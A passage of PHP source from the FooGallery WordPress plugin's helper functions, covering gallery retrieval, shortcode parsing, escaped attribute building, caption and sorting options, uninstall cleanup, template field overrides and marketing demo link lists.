* @param $function */ function foogallery_add_submenu_page( $menu_title, $capability, $menu_slug, $function ) { add_submenu_page( foogallery_admin_menu_parent_slug(), $menu_title, $menu_title, apply_filters( 'foogallery_admin_menu_capability', $capability ), $menu_slug, $function ); } /** * Returns all FooGallery galleries * * @return FooGallery[] array of FooGallery galleries */ function foogallery_get_all_galleries( $excludes = false, $extra_args = false ) { $args = array( 'post_type' => FOOGALLERY_CPT_GALLERY, 'post_status' => array( 'publish', 'draft' ), 'cache_results' => false, 'nopaging' => true, ); if ( is_array( $excludes ) ) { $args['post__not_in'] = $excludes; } if ( is_array( $extra_args ) ) { $args = array_merge( $args, $extra_args ); } $gallery_posts = get_posts( $args ); if ( empty($gallery_posts) ) { return array(); } $galleries = array(); foreach ( $gallery_posts as $post ) { $galleries[] = FooGallery::get( $post ); } return $galleries; } /** * Parse some content and return an array of all gallery shortcodes that are used inside it * * @param $content The content to search for gallery shortcodes * * @return array An array of all the foogallery shortcodes found in the content */ function foogallery_extract_gallery_shortcodes( $content ) { $shortcodes = array(); $regex_pattern = foogallery_gallery_shortcode_regex(); if ( preg_match_all( '/' . $regex_pattern . '/s', $content, $matches ) ) { for ( $i = 0 ; $i < count( $matches[0] ) ; ++$i ) { $shortcode = $matches[0][$i]; $args = $matches[3][$i]; $attribure_string = str_replace( ' ', '&', trim( $args ) ); $attribure_string = str_replace( '"', '', $attribure_string ); $attributes = wp_parse_args( $attribure_string ); if ( array_key_exists( 'id', $attributes ) ) { $id = intval( $attributes['id'] ); $shortcodes[$id] = $shortcode; } } } return $shortcodes; } /** * Build up the FooGallery shortcode regex * * @return string */ function foogallery_gallery_shortcode_regex() { $tag = foogallery_gallery_shortcode_tag(); return '\\[' . '(\\[?)' . "({$tag})" . '(?![\\w-])' . '(' . '[^\\]\\/]*' . '(?:' . '\\/(?!\\])' . '[^\\]\\/]*' . ')*?' . ')' . '(?:' . '(\\/)' . '\\]' . '|' . '\\]' . '(?:' . '(' . '[^\\[]*+' . '(?:' . '\\[(?!\\/\\2\\])' . '[^\\[]*+' . ')*+' . ')' . '\\[\\/\\2\\]' . ')?' . ')' . '(\\]?)'; // 6: Optional second closing bracket for escaping shortcodes: [[tag]] } /** * Builds up a class attribute that can be used in a gallery template * @param $gallery FooGallery * * @return string the classname based on the gallery and any extra attributes */ function foogallery_build_class_attribute( $gallery ) { $classes[] = 'foogallery'; $classes[] = 'foogallery-container'; $classes[] = "foogallery-{$gallery->gallery_template}"; $num_args = func_num_args(); if ( $num_args > 1 ) { $arg_list = func_get_args(); for ( $i = 1 ; $i < $num_args ; $i++ ) { $classes[] = $arg_list[$i]; } } $classes = apply_filters( 'foogallery_build_class_attribute', $classes, $gallery ); //extract any classes from the gallery arguments global $current_foogallery_arguments ; if ( isset( $current_foogallery_arguments ) && is_array( $current_foogallery_arguments ) ) { if ( array_key_exists( 'classname', $current_foogallery_arguments ) ) { $classes[] = $current_foogallery_arguments['classname']; } if ( array_key_exists( 'classes', $current_foogallery_arguments ) ) { $classes[] = $current_foogallery_arguments['classes']; } } $classes = array_filter( $classes, 'strlen' ); return implode( ' ', $classes ); } /** * Builds up a SAFE class attribute that can be used in a gallery template * @param $gallery FooGallery * * @return string the classname based on the gallery and any extra attributes */ function foogallery_build_class_attribute_safe( $gallery ) { $args = func_get_args(); $result = call_user_func_array( "foogallery_build_class_attribute", $args ); return esc_attr( $result ); } /** * Renders an escaped class attribute that can be used directly by gallery templates * * @param $gallery FooGallery */ function foogallery_build_class_attribute_render_safe( $gallery ) { $args = func_get_args(); $result = call_user_func_array( "foogallery_build_class_attribute_safe", $args ); echo $result ; } /** * Builds up the attributes that are appended to a gallery template container * * @param $gallery FooGallery * @param $attributes array * * @return string */ function foogallery_build_container_attributes_safe( $gallery, $attributes ) { //add the default gallery id $attributes['id'] = $gallery->container_id(); //add the standard data-foogallery attribute so that the JS initializes correctly $attributes['data-foogallery'] = foogallery_build_container_data_options( $gallery, $attributes ); //allow others to add their own attributes globally $attributes = apply_filters( 'foogallery_build_container_attributes', $attributes, $gallery ); //allow others to add their own attributes for a specific gallery template $attributes = apply_filters( 'foogallery_build_container_attributes-' . $gallery->gallery_template, $attributes, $gallery ); //clean up the attributes to make them safe for output $html = ''; foreach ( $attributes as $key => $value ) { $safe_value = esc_attr( $value ); $html .= "{$key}=\"{$safe_value}\" "; } return apply_filters( 'foogallery_build_container_attributes_html', $html, $attributes, $gallery ); } /** * Builds up the data-foogallery attribute options that is used by the core javascript * * @param $gallery * @param $attributes * * @return string */ function foogallery_build_container_data_options( $gallery, $attributes ) { $options = apply_filters( 'foogallery_build_container_data_options', array(), $gallery, $attributes ); $options = apply_filters( 'foogallery_build_container_data_options-' . $gallery->gallery_template, $options, $gallery, $attributes ); return foogallery_json_encode( $options ); } /** * Render a foogallery * * @param $gallery_id int The id of the foogallery you want to render * @param array $args */ function foogallery_render_gallery( $gallery_id, $args = array() ) { //create new instance of template engine $engine = new FooGallery_Template_Loader(); $shortcode_args = wp_parse_args( $args, array( 'id' => $gallery_id, ) ); $engine->render_template( $shortcode_args ); } /** * Returns the available sorting options that can be chosen for galleries and albums */ function foogallery_sorting_options() { return apply_filters( 'foogallery_sorting_options', array( '' => __( 'Default', 'foogallery' ), 'date_desc' => __( 'Date created - newest first', 'foogallery' ), 'date_asc' => __( 'Date created - oldest first', 'foogallery' ), 'modified_desc' => __( 'Date modified - most recent first', 'foogallery' ), 'modified_asc' => __( 'Date modified - most recent last', 'foogallery' ), 'title_asc' => __( 'Title - alphabetically', 'foogallery' ), 'title_desc' => __( 'Title - reverse', 'foogallery' ), 'rand' => __( 'Random', 'foogallery' ), ) ); } function foogallery_sorting_get_posts_orderby_arg( $sorting_option ) { $orderby_arg = 'post__in'; switch ( $sorting_option ) { case 'date_desc': case 'date_asc': $orderby_arg = 'date'; break; case 'modified_desc': case 'modified_asc': $orderby_arg = 'modified'; break; case 'title_asc': case 'title_desc': $orderby_arg = 'title'; break; case 'rand': $orderby_arg = 'rand'; break; } return apply_filters( 'foogallery_sorting_get_posts_orderby_arg', $orderby_arg, $sorting_option ); } function foogallery_sorting_get_posts_order_arg( $sorting_option ) { $order_arg = 'DESC'; switch ( $sorting_option ) { case 'date_asc': case 'modified_asc': case 'title_asc': $order_arg = 'ASC'; break; } return apply_filters( 'foogallery_sorting_get_posts_order_arg', $order_arg, $sorting_option ); } /** * @deprecated 1.4.7 Default templates loaded by default and no longer activated via extension * * Activate the default templates extension when there are no gallery templates loaded */ function foogallery_activate_default_templates_extension() { //no longer needed but left in case any 3rd party extensions call this function _deprecated_function( __FUNCTION__, '1.4.7' ); } /** * Allow FooGallery to enqueue stylesheet and allow them to be enqueued in the head on the next page load * * @param $handle string * @param $src string * @param array $deps * @param bool $ver * @param string $media */ function foogallery_enqueue_style( $handle, $src, $deps = array(), $ver = false, $media = 'all' ) { $src = apply_filters( 'foogallery_enqueue_style_src', $src, $handle ); wp_enqueue_style( $handle, $src, $deps, $ver, $media ); do_action( 'foogallery_enqueue_style', $handle, $src, $deps, $ver, $media ); } /** * Returns all foogallery post objects that are attached to the post * * @param $post_id int The ID of the post * * @return array List of foogallery posts. */ function foogallery_get_galleries_attached_to_post( $post_id ) { $gallery_ids = get_post_meta( $post_id, FOOGALLERY_META_POST_USAGE, false ); if ( !empty($gallery_ids) ) { return get_posts( array( 'post_type' => array( FOOGALLERY_CPT_GALLERY ), 'post_status' => array( 'draft', 'publish' ), 'posts_per_page' => -1, 'include' => $gallery_ids, ) ); } return array(); } /** * Clears all css load optimization post meta */ function foogallery_clear_all_css_load_optimizations() { delete_post_meta_by_key( FOOGALLERY_META_POST_USAGE_CSS ); } /** * Performs a check to see if the plugin has been updated, and perform any housekeeping if necessary */ function foogallery_perform_version_check() { $checker = new FooGallery_Version_Check(); $checker->perform_check(); } /** * Returns the JPEG quality used when generating thumbnails * * @return int The quality value stored in settings */ function foogallery_thumbnail_jpeg_quality() { $quality = intval( foogallery_get_setting( 'thumb_jpeg_quality' ) ); //check if we get an invalid value for whatever reason and if so return a default of 80 if ( $quality <= 0 ) { $quality = 80; } return $quality; } /** * Returns the caption title source setting * * @return string */ function foogallery_caption_title_source() { $source = foogallery_get_setting( 'caption_title_source', 'caption' ); if ( empty($source) ) { $source = 'caption'; } return $source; } /** * Returns the attachment caption title based on the caption_title_source setting * * @param WP_Post $attachment_post * @param bool $source * * @return string */ function foogallery_get_caption_title_for_attachment( $attachment_post, $source = false ) { if ( false === $source ) { $source = foogallery_gallery_template_setting( 'caption_title_source', false ); if ( empty($source) || "none" === $source ) { $source = foogallery_caption_title_source(); } } switch ( $source ) { case 'title': $caption = trim( $attachment_post->post_title ); break; case 'desc': $caption = trim( $attachment_post->post_content ); break; case 'alt': $caption = trim( get_post_meta( $attachment_post->ID, '_wp_attachment_image_alt', true ) ); break; default: $caption = trim( $attachment_post->post_excerpt ); } return apply_filters( 'foogallery_get_caption_title_for_attachment', $caption, $attachment_post ); } /** * Returns the attachment caption title based on the caption_title_source setting * * @param FooGalleryAttachment $attachment * @param string $source * @param string $caption_type The type of caption (title or desc) * * @return string */ function foogallery_get_caption_by_source( $attachment, $source, $caption_type ) { if ( false === $source ) { $source = foogallery_gallery_template_setting( 'caption_' . $caption_type . '_source', false ); if ( empty($source) || "none" === $source ) { if ( 'title' === $caption_type ) { $source = 'caption'; //bad legacy naming! } else { $source = $caption_type; } } } switch ( $source ) { case 'title': $caption = trim( $attachment->title ); break; case 'desc': $caption = trim( $attachment->description ); break; case 'alt': $caption = trim( $attachment->alt ); break; case 'caption': default: $caption = trim( $attachment->caption ); } return apply_filters( 'foogallery_get_caption_by_source', $caption, $attachment, $source, $caption_type ); } /** * Returns the caption description source setting * * @return string */ function foogallery_caption_desc_source() { $source = foogallery_get_setting( 'caption_desc_source', 'desc' ); if ( empty($source) ) { $source = 'desc'; } return $source; } /** * Returns the attachment caption description based on the caption_desc_source setting * * @param WP_Post $attachment_post * @param bool $source * * @return string */ function foogallery_get_caption_desc_for_attachment( $attachment_post, $source = false ) { if ( false === $source ) { $source = foogallery_gallery_template_setting( 'caption_desc_source', false ); if ( empty($source) || "none" === $source ) { $source = foogallery_caption_desc_source(); } } switch ( $source ) { case 'title': $caption = trim( $attachment_post->post_title ); break; case 'caption': $caption = trim( $attachment_post->post_excerpt ); break; case 'alt': $caption = trim( get_post_meta( $attachment_post->ID, '_wp_attachment_image_alt', true ) ); break; default: $caption = trim( $attachment_post->post_content ); } return apply_filters( 'foogallery_get_caption_desc_for_attachment', $caption, $attachment_post ); } /** * Runs thumbnail tests and outputs results in a table format */ function foogallery_output_thumbnail_generation_results() { $thumbs = new FooGallery_Thumbnails(); try { $results = $thumbs->run_thumbnail_generation_tests(); if ( $results['success'] ) { echo '<span style="color:#0c0">' . __( 'Thumbnail generation test ran successfully.', 'foogallery' ) . '</span>' ; } else { echo '<span style="color:#c00">' . __( 'Thumbnail generation test failed!', 'foogallery' ) . '</span>' ; var_dump( $results['error'] ); var_dump( $results['file_info'] ); } } catch ( Exception $e ) { echo 'Exception: ' . $e->getMessage() ; } } /** * Returns the URL to the test image * * @return string */ function foogallery_test_thumb_url() { return apply_filters( 'foogallery_test_thumb_url', FOOGALLERY_URL . 'assets/logo.png' ); } /** * Return all the gallery datasources used within FooGallery * * @return array */ function foogallery_gallery_datasources() { $default_datasource = foogallery_default_datasource(); $datasources[$default_datasource] = array( 'id' => $default_datasource, 'name' => __( 'Media Library', 'foogalery' ), 'label' => __( 'From Media Library', 'foogallery' ), 'public' => false, ); return apply_filters( 'foogallery_gallery_datasources', $datasources ); } /** * Returns the default gallery datasource * * @return string */ function foogallery_default_datasource() { return foogallery_get_default( 'datasource', 'media_library' ); } /** * Returns the src to the built-in image placeholder * @return string */ function foogallery_image_placeholder_src() { return apply_filters( 'foogallery_image_placeholder_src', FOOGALLERY_URL . 'assets/image-placeholder.png' ); } /** * Returns the image html for the built-in image placeholder * * @param array $args * * @return string */ function foogallery_image_placeholder_html( $args ) { if ( !isset( $args ) ) { $args = array( 'width' => 150, 'height' => 150, ); } $args['src'] = foogallery_image_placeholder_src(); $args = array_map( 'esc_attr', $args ); $html = '<img '; foreach ( $args as $name => $value ) { $html .= " {$name}=" . '"' . $value . '"'; } $html .= ' />'; return apply_filters( 'foogallery_image_placeholder_html', $html, $args ); } /** * Returns the thumbnail html for the featured attachment for a gallery. * If no featured attachment can be found, then a placeholder image src is returned instead * * @param FooGallery $gallery * @param array $args * * @return string */ function foogallery_find_featured_attachment_thumbnail_html( $gallery, $args = null ) { if ( !isset( $gallery ) || false === $gallery ) { return ''; } if ( !isset( $args ) ) { $args = array( 'width' => 150, 'height' => 150, ); } $featuredAttachment = $gallery->featured_attachment(); if ( $featuredAttachment ) { return $featuredAttachment->html_img( $args ); } else { //if we have no featured attachment, then use the built-in image placeholder return foogallery_image_placeholder_html( $args ); } } /** * Returns the thumbnail src for the featured attachment for a gallery. * If no featured attachment can be found, then a placeholder image src is returned instead * * @param FooGallery $gallery * @param array $args * * @return string */ function foogallery_find_featured_attachment_thumbnail_src( $gallery, $args = null ) { if ( !isset( $gallery ) || false === $gallery ) { return ''; } if ( !isset( $args ) ) { $args = array( 'width' => 150, 'height' => 150, ); } $featuredAttachment = $gallery->featured_attachment(); if ( $featuredAttachment ) { return $featuredAttachment->html_img_src( $args ); } else { //if we have no featured attachment, then use the built-in image placeholder return foogallery_image_placeholder_src(); } } /** * Returns the available retina options that can be chosen */ function foogallery_retina_options() { return apply_filters( 'foogallery_retina_options', array( '2x' => __( '2x', 'foogallery' ), '3x' => __( '3x', 'foogallery' ), '4x' => __( '4x', 'foogallery' ), ) ); } /** * Does a full uninstall of the plugin including all data and settings! */ function foogallery_uninstall() { if ( !current_user_can( 'install_plugins' ) ) { exit; } //delete all gallery posts first global $wpdb ; $query = "SELECT p.ID FROM {$wpdb->posts} AS p WHERE p.post_type IN (%s)"; $gallery_post_ids = $wpdb->get_col( $wpdb->prepare( $query, FOOGALLERY_CPT_GALLERY ) ); if ( !empty($gallery_post_ids) ) { $deleted = 0; foreach ( $gallery_post_ids as $post_id ) { $del = wp_delete_post( $post_id ); if ( false !== $del ) { ++$deleted; } } } //delete all options if ( is_network_admin() ) { delete_site_option( FOOGALLERY_SLUG ); } else { delete_option( FOOGALLERY_SLUG ); } delete_option( FOOGALLERY_OPTION_VERSION ); delete_option( FOOGALLERY_OPTION_THUMB_TEST ); delete_option( FOOGALLERY_EXTENSIONS_SLUGS_OPTIONS_KEY ); delete_option( FOOGALLERY_EXTENSIONS_SLUGS_OPTIONS_KEY ); delete_option( FOOGALLERY_EXTENSIONS_ACTIVATED_OPTIONS_KEY ); delete_option( FOOGALLERY_EXTENSIONS_ERRORS_OPTIONS_KEY ); //let any extensions clean up after themselves do_action( 'foogallery_uninstall' ); } /** * Returns an attachment field friendly name, based on a field name that is passed in * * @param $field * * @return string */ function foogallery_get_attachment_field_friendly_name( $field ) { switch ( $field ) { case 'title': return __( 'Attachment Title', 'foogallery' ); case 'caption': return __( 'Attachment Caption', 'foogallery' ); case 'desc': return __( 'Attachment Description', 'foogallery' ); case 'alt': return __( 'Attachment Alt', 'foogallery' ); } } /** * Returns the fields for a specific gallery template * * @param $template mixed * @return mixed */ function foogallery_get_fields_for_template( $template ) { if ( is_string( $template ) ) { $template = foogallery_get_gallery_template( $template ); } $fields = $template['fields']; // Allow for extensions to override fields for every gallery template. // Also passes the $template along so you can inspect and conditionally alter fields based on the template properties $fields = apply_filters( 'foogallery_override_gallery_template_fields', $fields, $template ); // Allow for extensions to override fields for a specific gallery template. // Also passes the $template along so you can inspect and conditionally alter fields based on the template properties $fields = apply_filters( "foogallery_override_gallery_template_fields-{$template['slug']}", $fields, $template ); // Easily remove fields. $fields_to_remove = apply_filters( 'foogallery_override_gallery_template_fields_remove', array(), $template ); $fields_to_remove = apply_filters( "foogallery_override_gallery_template_fields_remove-{$template['slug']}", $fields_to_remove ); // Easily set defaults for fields. $override_fields_defaults = apply_filters( 'foogallery_override_gallery_template_fields_defaults', array(), $template ); $override_fields_defaults = apply_filters( "foogallery_override_gallery_template_fields_defaults-{$template['slug']}", $override_fields_defaults ); // Easily hide certain fields. $fields_to_hide = apply_filters( 'foogallery_override_gallery_template_fields_hidden', array(), $template ); $fields_to_hide = apply_filters( "foogallery_override_gallery_template_fields_hidden-{$template['slug']}", $fields_to_hide ); $indexes_to_remove = array(); foreach ( $fields as $key => &$field ) { // Allow for the field to be altered by extensions. Also used by the build-in fields, e.g. lightbox. $field = apply_filters( 'foogallery_alter_gallery_template_field', $field, $template['slug'] ); if ( in_array( $field['id'], $fields_to_remove ) ) { $indexes_to_remove[] = $key; } else { // Last time to set field defaults. if ( array_key_exists( $field['id'], $override_fields_defaults ) ) { $field['default'] = $override_fields_defaults[$field['id']]; } // Make fields invisible. if ( in_array( $field['id'], $fields_to_hide ) ) { // Make sure the field is not visible. $field['row_data']['data-foogallery-invisible'] = true; // Force the field to not be hidden, which means it's values can be used in previews. if ( isset( $field['row_data']['data-foogallery-hidden'] ) ) { unset( $field['row_data']['data-foogallery-hidden'] ); } // Remove the conditionals to FORCE the field to never be shown. if ( isset( $field['row_data']['data-foogallery-show-when-field'] ) ) { unset( $field['row_data']['data-foogallery-show-when-field'] ); } if ( isset( $field['row_data']['data-foogallery-show-when-field-value'] ) ) { unset( $field['row_data']['data-foogallery-show-when-field-value'] ); } } } } // Finally, remove the fields that were marked for removal. foreach ( $indexes_to_remove as $index ) { unset( $fields[$index] ); } return $fields; } /** * Builds default settings for the supplied gallery template * * @param $template_name * @return array */ function foogallery_build_default_settings_for_gallery_template( $template_name ) { $fields = foogallery_get_fields_for_template( $template_name ); $settings = array(); //loop through the fields and build up an array of keys and default values foreach ( $fields as $field ) { $default = ( array_key_exists( 'default', $field ) ? $field['default'] : false ); if ( !empty($default) ) { $settings["{$template_name}_{$field['id']}"] = $default; } } return $settings; } /** * Returns the choices used for the thumb link field type * @return array */ function foogallery_gallery_template_field_thumb_link_choices() { return apply_filters( 'foogallery_gallery_template_field_thumb_links', array( 'image' => __( 'Full Size Image', 'foogallery' ), 'page' => __( 'Image Attachment Page', 'foogallery' ), 'custom' => __( 'Custom URL', 'foogallery' ), 'none' => __( 'Not linked', 'foogallery' ), ) ); } /** * Returns the choices used for the lightbox field type * @return array */ function foogallery_gallery_template_field_lightbox_choices() { $lightboxes = apply_filters( 'foogallery_gallery_template_field_lightboxes', array() ); $lightboxes['none'] = __( 'None', 'foogallery' ); return $lightboxes; } if ( !function_exists( 'wp_get_raw_referer' ) ) { /** * Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer. * * Do not use for redirects, use {@see wp_get_referer()} instead. * * @since 1.4.9 * @return string|false Referer URL on success, false on failure. */ function wp_get_raw_referer() { if ( !empty($_REQUEST['_wp_http_referer']) ) { return wp_unslash( $_REQUEST['_wp_http_referer'] ); } else { if ( !empty($_SERVER['HTTP_REFERER']) ) { return wp_unslash( $_SERVER['HTTP_REFERER'] ); } } return false; } } /** * Return the attachments for the currently displayed gallery * * @return array */ function foogallery_current_gallery_attachments_for_rendering() { global $current_foogallery ; $attachments = apply_filters( 'foogallery_gallery_attachments_override_for_rendering', false, $current_foogallery ); if ( $attachments !== false ) { return $attachments; } //by default, return all attachments return $current_foogallery->attachments(); } /** * Return attachment ID from a URL * * @param $url String URL to the image we are checking * * @return null or attachment ID */ function foogallery_get_attachment_id_by_url( $url ) { global $wpdb ; $query = "SELECT ID FROM {$wpdb->posts} WHERE guid=%s"; $attachment = $wpdb->get_col( $wpdb->prepare( $query, $url ) ); if ( count( $attachment ) > 0 ) { return $attachment[0]; } return null; } /** * Safer escaping for HTML attributes. * * @since 1.4.31 * * @param string $text * @return string */ function foogallery_esc_attr( $text ) { $safe_text = wp_check_invalid_utf8( $text ); $safe_text = _wp_specialchars( $safe_text, ENT_QUOTES, false, true ); return $safe_text; } /** * Create a FooGallery and return the ID * * @param $template * @param $attachment_ids * * @return int */ function foogallery_create_gallery( $template, $attachment_ids ) { if ( empty($template) ) { $template = foogallery_default_gallery_template(); } //create an empty foogallery $foogallery_args = array( 'post_title' => 'Demo Gallery', 'post_type' => FOOGALLERY_CPT_GALLERY, 'post_status' => 'publish', ); $gallery_id = wp_insert_post( $foogallery_args ); //set a gallery template add_post_meta( $gallery_id, FOOGALLERY_META_TEMPLATE, $template, true ); $settings = array(); //set default settings if there are any, and also if the template is the same as the default if ( foogallery_default_gallery_template() === $template ) { $default_gallery_id = foogallery_get_setting( 'default_gallery_settings' ); if ( $default_gallery_id ) { $settings = get_post_meta( $default_gallery_id, FOOGALLERY_META_SETTINGS, true ); add_post_meta( $gallery_id, FOOGALLERY_META_SETTINGS, $settings, true ); } } if ( empty($settings) ) { switch ( $template ) { case 'masonry': $settings = array( 'foogallery_items_view' => 'preview', 'masonry_alignment' => 'fg-center', 'masonry_border_size' => 'fg-border-thin', 'masonry_caption_desc_source' => '', 'masonry_caption_title_source' => '', 'masonry_captions_limit_length' => '', 'masonry_custom_settings' => '', 'masonry_drop_shadow' => 'fg-shadow-outline', 'masonry_filtering_type' => '', 'masonry_gutter_width' => '10', 'masonry_hover_effect_caption_visibility' => 'fg-captions-bottom', 'masonry_hover_effect_color' => '', 'masonry_hover_effect_icon' => 'fg-hover-zoom', 'masonry_hover_effect_preset' => 'fg-custom', 'masonry_hover_effect_scale' => '', 'masonry_hover_effect_transition' => 'fg-hover-fade', 'masonry_inner_shadow' => '', 'masonry_layout' => 'fixed', 'masonry_lazyload' => '', 'masonry_lightbox' => 'foobox', 'masonry_loaded_effect' => 'fg-loaded-fade-in', 'masonry_loading_icon' => 'fg-loading-default', 'masonry_paging_type' => '', 'masonry_rounded_corners' => '', 'masonry_state' => 'no', 'masonry_theme' => 'fg-dark', 'masonry_thumbnail_link' => 'image', 'masonry_thumbnail_width' => '250', 'masonry_video_autoplay' => 'yes', 'masonry_video_hover_icon' => 'fg-video-default', 'masonry_video_size' => '640x360', 'masonry_video_sticky_icon' => '', ); } } add_post_meta( $gallery_id, FOOGALLERY_META_SETTINGS, $settings, true ); $attachments = explode( ',', $attachment_ids ); update_post_meta( $gallery_id, FOOGALLERY_META_ATTACHMENTS, $attachments ); return $gallery_id; } /** * Returns an array of marketing demos * @return array */ function foogallery_marketing_demos() { $demos = array(); $demos[] = array( 'demo' => __( 'Responsive Image Gallery', 'foogallery' ), 'section' => __( 'Standard Gallery Demos', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/responsive-image-gallery/', ); $demos[] = array( 'demo' => __( 'Masonry Image Gallery', 'foogallery' ), 'section' => __( 'Standard Gallery Demos', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/masonry-gallery/', ); $demos[] = array( 'demo' => __( 'Justified Gallery', 'foogallery' ), 'section' => __( 'Standard Gallery Demos', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/justified-gallery/', ); $demos[] = array( 'demo' => __( 'Image Viewer Gallery', 'foogallery' ), 'section' => __( 'Standard Gallery Demos', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/image-viewer-gallery/', ); $demos[] = array( 'demo' => __( 'Simple Portfolio Gallery', 'foogallery' ), 'section' => __( 'Standard Gallery Demos', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/wordpress-portfolio-gallery/', ); $demos[] = array( 'demo' => __( 'Single Thumbnail Gallery', 'foogallery' ), 'section' => __( 'Standard Gallery Demos', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/single-thumbnail-gallery/', ); $demos[] = array( 'demo' => __( 'Grid PRO Gallery', 'foogallery' ), 'section' => __( 'PRO Gallery Demos', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/grid-gallery/', ); $demos[] = array( 'demo' => __( 'Polaroid PRO Gallery', 'foogallery' ), 'section' => __( 'PRO Gallery Demos', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/polaroid-gallery/', ); $demos[] = array( 'demo' => __( 'Slider PRO Gallery', 'foogallery' ), 'section' => __( 'PRO Gallery Demos', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/slider-gallery/', ); $demos[] = array( 'demo' => __( 'Hover Presets Demo', 'foogallery' ), 'section' => __( 'PRO Features', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/hover-presets/', ); $demos[] = array( 'demo' => __( 'Filtering Demos', 'foogallery' ), 'section' => __( 'PRO Features', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/filtering/', ); $demos[] = array( 'demo' => __( 'Pagination Types Demo', 'foogallery' ), 'section' => __( 'PRO Features', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/pagination/', ); $demos[] = array( 'demo' => __( 'Video Gallery Demos', 'foogallery' ), 'section' => __( 'PRO Features', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/video-gallery/', ); $demos[] = array( 'demo' => __( 'Bulk Copy (admin)', 'foogallery' ), 'section' => __( 'PRO Features', 'foogallery' ), 'href' => 'https://fooplugins.com/bulk-copy-foogallery-pro/', ); $demos[] = array( 'demo' => __( 'Albums', 'foogallery' ), 'section' => __( 'Album Demos', 'foogallery' ), 'href' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/wordpress-album-gallery/', ); return $demos; } /** * Returns an array of the PRO features * @return array */ function foogallery_marketing_pro_features() { $features[] = array( 'feature' => __( 'Video Galleries', 'foogallery' ), 'desc' => __( 'Create beautiful video galleries from YouTube, Vimeo, Facebook, Wistia and more!', 'foogallery' ), 'demo' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/video-gallery/', ); $features[] = array( 'feature' => __( 'Media Tags + Filtering', 'foogallery' ), 'desc' => __( 'Assign tags to your media, which allows visitors to filter the galleries by tag.', 'foogallery' ), 'demo' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/filtering/', ); $features[] = array( 'feature' => __( 'More Gallery Templates', 'foogallery' ), 'desc' => __( '3 more awesome gallery templates, including Slider, Grid and Polaroid.', 'foogallery' ), 'demo' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/slider-gallery/', ); $features[] = array( 'feature' => __( 'Preset Hover Effects', 'foogallery' ), 'desc' => __( 'Choose from 11 beautifully designed preset hover effects.', 'foogallery' ), 'demo' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/hover-presets/', ); $features[] = array( 'feature' => __( 'Advanced Pagination + Infinite Scroll', 'foogallery' ), 'desc' => __( 'Choose from more paging types like numbered, load more or infinite scroll.', 'foogallery' ), 'demo' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/pagination/', ); $features[] = array( 'feature' => __( 'Animated Loading Effects', 'foogallery' ), 'desc' => __( 'Choose from 9 awesome animation effects to display as your galleries load.', 'foogallery' ), 'demo' => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/animated-loaded-effects/', ); $features[] = array( 'feature' => __( 'Bulk Copy Settings', 'foogallery' ), 'desc' => __( 'Bulk copy your gallery settings to other galleries in a flash.', 'foogallery' ), 'demo' => 'https://fooplugins.com/bulk-copy-foogallery-pro/', ); return $features; } /** * Returns the allowed post types that galleries can be attached to * @return array */ function foogallery_allowed_post_types_for_usage() { return apply_filters( 'foogallery_allowed_post_types_for_attachment', array( 'post', 'page' ) ); } /** * Returns true if FooGallery is in debug mode * @return bool */ function foogallery_is_debug() { return foogallery_get_setting( 'enable_debugging', false ); } /** * Get the current gallery in the admin * @param $post_gallery * * @return FooGallery|null */ function foogallery_admin_get_current_gallery( $post_gallery ) { global $post ; global $current_foogallery_admin ; if ( is_admin() && isset( $post ) ) { if ( !isset( $current_foogallery_admin ) || $post_gallery->ID !== $post->ID ) { $current_foogallery_admin = FooGallery::get( $post_gallery ); } return $current_foogallery_admin; } return null; } /** * Takes an RGB string and returns an array of the colors * @param string $rgba RBG color string in the format rgb(0,0,0) * * @return array|int[] */ function foogallery_rgb_to_color_array( $rgba ) { if ( empty($rgba) ) { return array( 0, 0, 0 ); } preg_match( '/^rgba?[\\s+]?\\([\\s+]?(\\d+)[\\s+]?,[\\s+]?(\\d+)[\\s+]?,[\\s+]?(\\d+)[\\s+]?/i', $rgba, $by_color ); if ( count( $by_color ) >= 3 ) { return array( $by_color[1], $by_color[2], $by_color[3] ); } //return black if there was a problem getting the color return array( 0, 0, 0 ); } /** * Sanitize HTML to make it safe to output. Used to sanitize potentially harmful HTML used for captions * * @since 1.9.23 * * @param string $text * @return string */ function foogallery_sanitize_html( $text ) { $safe_text = wp_kses_post( $text ); return $safe_text; } /** * Returns true if PRO is in use * @return bool */ function foogallery_is_pro() { $pro = false; return $pro; } /** * Safe function for encoding objects to json * * @param $value * * @return false|string */ function foogallery_json_encode( $value ) { $flags = JSON_UNESCAPED_SLASHES; if ( defined( 'JSON_UNESCAPED_UNICODE' ) ) { $flags = JSON_UNESCAPED_UNICODE | $flags; } $flags = apply_filters( 'foogallery_json_encode_flags', $flags ); return json_encode( $value, $flags ); } /** * Get a language array entry which gets a value from settings * @param $setting_key * @param $default * * @return string|false */ function foogallery_get_language_array_value( $setting_key, $default ) { $setting_value = foogallery_get_setting( $setting_key, $default ); if ( empty($setting_value) ) { $setting_value = $default; } if ( $default !== $setting_value ) { return $setting_value; } return false; } /** * Safely returns the WP Filesystem instance for use in FooGallery * * @return WP_Filesystem_Base */ function foogallery_wp_filesystem() { global $wp_filesystem ; if ( 